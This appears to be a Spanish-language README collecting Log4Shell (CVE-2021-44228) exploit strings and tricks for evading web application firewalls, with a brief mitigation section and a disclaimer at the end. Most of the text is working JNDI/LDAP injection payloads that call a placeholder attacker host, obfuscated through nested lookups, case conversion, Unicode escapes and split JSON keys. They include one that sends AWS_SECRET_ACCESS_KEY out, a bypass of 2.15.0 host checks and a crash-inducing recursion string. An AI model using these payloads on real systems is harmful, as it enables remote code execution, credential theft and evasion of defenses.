🐱💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java exploit - Trucos de evasión de WAF
CVE-2021-44228 funciona en:
log4j: 2.0 <= Apache log4j <= 2.14.1
Versión de Java ya parcheada: 6u211+, 7u201+, 8u191+, 11.0.1+.
Windows Defender comenzó a eliminar archivos .java que incluyan jndi:ldap:....
Script de atacante simple (Posible RCE):
${jndi:ldap://somesitehackerofhell.com/z}
WAF o desarrolladores comenzaron a bloquear frases:
para asegurar aplicaciones.
Sin embargo, el atacante puede evadirlo usando una de estas técnicas:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
De la documentación de Apache Log4j 2: ${env:ENV_NAME:-default_value}
Si no existe la variable de entorno del sistema ENV_NAME, usa el texto después de :-
El atacante puede usar cualquier nombre en lugar de ENV_NAME, pero debe no existir.
O el hacker puede leer la variable de entorno, por ejemplo para AWS_SECRET_ACCESS_KEY:
${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}
Consulta más secretos en 🦄🔒 Lista increíble de secretos en variables de entorno 🖥️
Puedes verificar tus variables de entorno del sistema:
dir env:printenv o env${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}
Lower Lookup El LowerLookup convierte el argumento pasado a minúsculas. Presumiblemente el valor será el resultado de una búsqueda anidada.
${lower:<text>}
Upper Lookup El UpperLookup convierte el argumento pasado a mayúsculas. Presumiblemente el valor será el resultado de una búsqueda anidada.
${upper:<text>}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}
${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}
ı se convierte en i
${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}
Si no existe la propiedad del sistema SYS_NAME, usa el texto después de :-
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}
El formateo de fecha de Java convierte YYYY a 2021, pero convierte 'YYYY' a YYYY o 'j' a j.
Reemplaza caracteres con:
Puedes leer más aquí Referencia de codificación URL HTML
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}
No verifica la existencia de la búsqueda y simplemente evalúa al valor por defecto felizmente.
{
"one-${jnd${a":"a:-i}:ld${",
"two":"o:-a}p://somesitehackerofhell.com/z}
}
"Por separado estas claves y valores no representan un ataque. Pero todos juntos son un ataque y este ataque es transparente para los sistemas de detección debido al analizador JSON." Leer más...
${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}
Convierte algunos caracteres a Unicode.
${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}
Evita las comprobaciones de allowedLdapHost y allowedClasses en Log4J 2.15.0. El método java.net.URI getHost() devuelve el valor antes del # como el host real. Pero el resolvedor JNDI/LDAP resolverá la cadena completa del hostname intentando conectarse al servidor LDAP malicioso.
${${::-${::-$${::-j}}}}
Si se intenta una sustitución de cadena por cualquier razón en la siguiente cadena, desencadenará una recursión infinita, y la aplicación fallará.
Crea un archivo PDF especial para explotar CVE-2021-44228

Para probar la entrada puedes usar:
tl;dr Actualiza a log4j-2.17.1 o posterior.
Mitigación de Log4j 1.x: Log4j 1.x no tiene Lookups, por lo que el riesgo es menor. Las aplicaciones que usan Log4j 1.x solo son vulnerables a este ataque cuando usan JNDI en su configuración. Se ha presentado un CVE separado (CVE-2021-4104) para esta vulnerabilidad. Para mitigar: audita tu configuración de registro para asegurarte de que no tenga JMSAppender configurado. Las configuraciones de Log4j 1.x sin JMSAppender no se ven afectadas por esta vulnerabilidad.
Mitigación de Log4j 2.x: Implementa una de las técnicas de mitigación a continuación.
Ten en cuenta que solo el archivo JAR log4j-core se ve afectado por esta vulnerabilidad. Las aplicaciones que usan solo el archivo JAR log4j-api sin el archivo JAR log4j-core no se ven afectadas por esta vulnerabilidad.

Este proyecto solo puede ser utilizado con fines educativos. Usar este software contra sistemas objetivo sin permiso previo es ilegal, y cualquier daño derivado del mal uso de este software no será responsabilidad del autor.
No soy el autor de CVE-2021-44228 y algunos bypasses